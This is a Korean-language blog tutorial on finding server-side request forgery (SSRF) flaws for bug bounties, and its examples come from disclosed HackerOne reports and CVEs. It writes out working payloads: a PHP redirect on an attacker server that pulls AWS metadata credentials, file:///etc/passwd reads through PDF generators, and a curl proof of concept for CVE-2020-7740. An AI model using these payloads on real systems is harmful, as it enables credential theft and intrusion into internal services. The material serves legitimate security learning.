article thumbnail image
Published 2022. 3. 23. 21:37

SSRF... 이론적으로는 알고 있지만 실제 진단이나 버그바운티에서 SSRF를 찾기가 쉽지 않다. 

하지만 이 글을 읽고 SSRF를 시도해보자!

 

 

1. SSRF

Server-Side Request Forgery 의 약자로써 서버 측 요청 위조라고 불린다.

외부에 노출된 서버로 하여금 내부 서버에 접근해 악성 요청을 하게 만들거나 노출된 서버로 하여금 공격자의 사이트에 요청하게 만드는 공격이다.

SSRF는 보통 데이터 유출 피해를 발생시키지만 서버의 무언가를 변경하거나, 파일을 수정 또는 삭제할 수도 있다.

 

데이터 유출 피해가 아닌 다른 피해의 간단한 예시를 가져와봤다.

피해 사이트 : vul.com,  공격자 사이트 : attacker.com 이라고 해보자
vul.com/?url=http://example.com/some-very-large-file.png 로 이동
(some-very-large-file 은 아주 큰 파일)
피해 사이트는 아주 큰 파일을 가져오기 위해 시도 할 것이고 그로 인해 DOS가 걸릴 수 있다.

 

 

 

2. SSRF 발견 방법

SSRF을 발견하는 가장 쉬운 시작은 url을 확인하는 것이다.

예를 들어 jira 취약점인 CVE-2017-9506 에 나오는 /plugins/servlet/oauth/users/icon-uri?consumerUri= 이라는 url을 발견했다고 생각해보자.

consumerUri=이라는 파라미터에 SSRF이던 open redirect 든 시도하기 위해 http://www.naver.com 을 넣을 시 네이버로 "이동"하면 open redirect, 네이버를 "불러"오면 SSRF가 된다.

 

우선 네이버를 불러온다면 SSRF에 취약하다고 할 수 있다.

하지만 버그바운티에서 이 취약점이 크리티컬하다고 제시하기 위해선 자료가 더 필요하다.

만일 서버가 aws 라면 http://169.254.169.254 로 여러 정보를 얻을 수 있겠지만 아니라면 다른 정보가 필요하다.

(* http://169.254.169.254 란? https://mise.tistory.com/44)

 


> 정보 얻는법
a. 포트 확인
b. 프로토콜 확인

c. etc


 

a. 포트확인

21 (FTP), 22 (SSH), 80,443 (웹), 8080 등 자주 쓰는 포트를 넣어본다.

ex. /plugins/servlet/oauth/users/icon-uri?consumerUri=localhost:8080

만일 오류 같은 정보를 반환하는 경우가 있다면 오류를 토대로 정보를 얻을 수 있다.

오류를 반환하지 않는다면 응답 시간으로 포트오픈 여부를 알 수 있다.

ex. port 22 response time : 100ms = open   

     port 21 response time : 1000ms = close

 

 

b. 프로토콜 확인

gopher://(파일 배포), dict://(사전 네트워크 프로토콜), ftp:// (파일 전송 프로토콜), File://, ldap:// 등

ex. /plugins/servlet/oauth/users/icon-uri?consumerUri=gopher://

만일 서버가 이러한 프로토콜을 지원한다면 유의미한 정보를 얻을 수 있을 것이다.

 

 

c. etc

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://[::]

해당 url을 통해서 데이터베이스 IP, 데이터베이스 버전, 사용 중인 플러그인, OS, OS 아키텍처 등을 얻을 수 있다.

 

 

 

 

3. 다른 방식으로 SSRF 발견하기

그렇다면 기본방식이아닌 다른 방식의 SSRF는 언제 가장 많이 발생할까?

여기 4가지 방법이 있다.

 


a. Webhook: 특정 이벤트가 발생할 때 HTTP 요청을 하는 서비스를 찾습니다. 대부분의 웹훅 기능에서 최종 사용자는 자신의 엔드포인트와 호스트 이름을 선택할 수 있습니다. 내부 서비스에 HTTP 요청을 보내보십시오.

b. PDF 생성기: 내부 서비스를 가리키는 <iframe> , <img> , <base> 또는 <script> 요소 또는 CSS url() 함수를 삽입해 보십시오.

c. 문서 파서: 문서가 어떻게 파싱되는지 알아내십시오. XML 문서인 경우 PDF 생성기 방식을 사용합니다. 다른 모든 문서의 경우 외부 리소스를 참조하고 서버가 내부 서비스에 요청하도록 하는 방법이 있는지 확인합니다.

d. 파일 업로드: 파일을 업로드하는 대신 URL을 전송하고 URL의 내용을 다운로드하는지 확인하십시오. 

 


a. Webhook

webhook이란 사용자 정의 콜백 을 사용하여 웹 페이지 또는 웹 애플리케이션 의 동작을 보강하거나 변경하는 방법이다.

쉽게 말하면 특정 이벤트가 발생했을때 서버가 클라이언트를 호출하는 방법이라고 생각하면 된다.

보통의 api호출(polling 방식)이 클라이언트가 서버를 호출하는 거라면 webhook은 서버가 클라이언트를 호출한다고 해서 역방향 api라고도 한다.

 

webhook 방식은 polling 방식과 비교된다.

webhook방식은 이벤트 발생 시 서버가 호출하고 polling 방식은 클라이언트가 계속 물어봐야한다.

출처 : https://leffept.tistory.com/329

위 그림을 보면 webhook 방식이 polling보다 효율적이라는 것을 알 수 있다.

 

형식적으로 webhook은 Json 형식을 사용하고 요청은 HTTP POST 요청을 수행한다. 보통 코드를 저장소로 푸시 하거나 댓글이 블로그에 게시되는 것과 같은 일부 이벤트를 발생시킬때 사용한다.

 

https://shortstories.gitbooks.io/studybook/content/webhook.html

위 url에 webhook를 사용하는 사이트 및 예시가 있다.

GitHub, Slack, Google calendar, jira, paypal 등 여러 기업이 웹 훅을 사용하고 있다는 것을 알 수 있다.

 

근데 webhook을 사용하는걸 알아서 어떻게 SSRF을 시도하라는거지? 라는 의문이 들 수 있다.

우선 SSRF를 하려면 엔드포인트를 내 서버로 설정할 수 있어야 하고, 내부 서버 주소를 알아야한다.

hackerone에서 한번 알아보자.

 

https://hackerone.com/reports/508459

 

Omise disclosed on HackerOne: SSRF in webhooks leads to AWS private...

 

hackerone.com

위 url은 Omise 라는 결제 회사에서 나온 webhook을 이용한 SSRF 이다. (오미세고 코인 만든 회사 맞음)

 

SSRF 발생 순서는 다음과 같다.

1. https://<attacker-server>/redir.php 다음과 같이 자신이 구축한 서버에 redir.php파일을 업로드
# redir.php

<?php header('Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-opsworks-ec2-role', TRUE, 303); ?>

* 잠깐 코드 설명을 하자면 

> php header() : http 헤더를 송신하는 함수

> Location: 브라우저를 redirect ( response default status 값: 302 )

> TRUE는 디폴트 값

> 303 : Location으로 리다이렉트 시 디폴트값인 302가 아닌 303 response 

 

* 303 status value : 클라이언트가 요청한 리소스를 다른 URI에서 GET 요청을 통해 얻어야 할 때 사용하는 상태 코드

해당 poc에서는 302, 301이 막혀있어 우회하는 방식으로 사용했다고 함

 

 

2. https://dashboard.omise.co/test/webhooks/edit 에서 endpoint를 https://<attacker-server>/redir.php 로 지정

 

궁금해서 오미세에 회원가입하고 봤더니 아예 webhook endpoint를 지정하는 페이지가 따로 있었다.

 

 

3. 사용자추가 같은 아무런 이벤트를 발생시켜 webhook 트리거
4. https://dashboard.omise.co/test/webhooks 에서 webhook 성공 확인 후, 이벤트 클릭하여 SSRF 된 정보 확인

 

결과값:

 Access Key/Secret Key/Token 값을 모두 얻어서 aws-opsworks-ec2-role이 가지고 있는 권한을 마음대로 이용가능

 

한마디로 webhook 트리거 시 endpoint를 자신의 웹서버로 설정하고 webhook이 자신의 웹서버로 request를 보내면 내 서버는 private 한 내부 서버로 리다이렉트 시켜 내부서버가 내부서버에 질문해서 정보를 얻는 SSRF 공격을 한것이다!

 

아무래도 대상 홈페이지에 웹훅 기능이 있는 경우만 시도 해볼 수 있을 거 같다.

 

 

 

b. PDF 생성기

영어로는 PDF Generators 라고 하며, 대표적인 예는 WeasyPrint, wkhtmltopdf 가 있다.

(PDF Generators ? : HTML을 PDF로 바꿔주는 프로그램)

참고한 문서에 따르면 PDF 생성기가 있는 서버는 90% 확률로 취약점이 존재한다고 한다. (ssrf, xss, open redirect 포함)

그렇기에 자세하게 보는것이 중요하다고 한다.

 

서버에서 실행하는 PDF Generators 로 pdf 전환 시 request 를 html 형식으로 생성한다.

이때 <iframe src="http://myhost:myport:443"> 같은 문구를 넣어서 SSRF을 테스트 한다.

즉, PDF 생성기 에서는 XSS == SSRF 가 된다고 생각하면 된다.

 

WeasyPrint에서는 <link rel=attachment href="file:///etc/passwd"> 을 삽입함으로서 서버 파일을 읽을 수도 있다고 한다. 단 이 경우 파일에 숨겨진 리소스로 포함되기 때문에 따로 뽑아내는 작업이 필요하다.

간단하게는 아래 코드를 자기 서버에 올려서 사용하기도 한다.

<?php
 header("Location: file:///etc/passwd");
?>

 

또한 npm 모듈인 node-pdf-generator에서는 CVE-2020-7740 취약점도 존재하는데 poc는 다음과 같다

curl --location --request GET localhost:3000/test --data-raw http://localhost:3001 --output test.pdf

 * localhost:3000/test : 취약한 웹 서버

   http://localhost:3001 : 외부에서 접근 불가능한 내부 서버

 

 

 

 

c. 문서 파서

Document parsers 방법도 PDF 생성기의 SSRF 기법과 동일하다.

결국은 request에서 html injection이 되면 SSRF를 시도해보는거 같다.

 

 

 

d. 파일업로드

제목을 파일업로드지만 방식이 되게 특이하다.

https://hackerone.com/reports/713

 

HackerOne disclosed on HackerOne: Upload profile photo from URL

 

hackerone.com

 

짧지만 신박하다.

프로필 이미지를 업로드하는 페이지인데 response에서 "type=file"에서 "type=url"로 바꾸고 해당 input칸에 외부이미지 url을 붙여넣고 저장 했더니 외부이미지를 불러왔다는 것이다.

앞에꺼에 비교하면 너무 간단하고 특이하게 취약점을 발견했다.

 

하지만 이걸 완벽하게 증명하려면 self인지 아닌지 구분 후 보내야 한다.

자기 서버에 자기가 접근했을때 로그 1개만 찍힌다면 self고, 접근하지 않아도 로그가 찍히거나 여러개 찍히면 대상 서버가 응답한 것이므로 이런 확인 절차가 필요하다.

 

 

모두 이해했다면 SSRF를 도전해보러 가자!

 

 

출처:

- jira ssrf 예시

https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a

 

- ssrf 예시 설명

https://www.itworld.co.kr/insight/211794

 

- ssrf 발견 방법

https://www.hackerone.com/application-security/how-server-side-request-forgery-ssrf

 

- php header()

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=okwizard&logNo=70100359048

 

- pdf 생성기

https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent

 

-CVE-2020-7740

https://github.com/CS4239-U6/node-pdf-generator-ssrf

 

복사했습니다!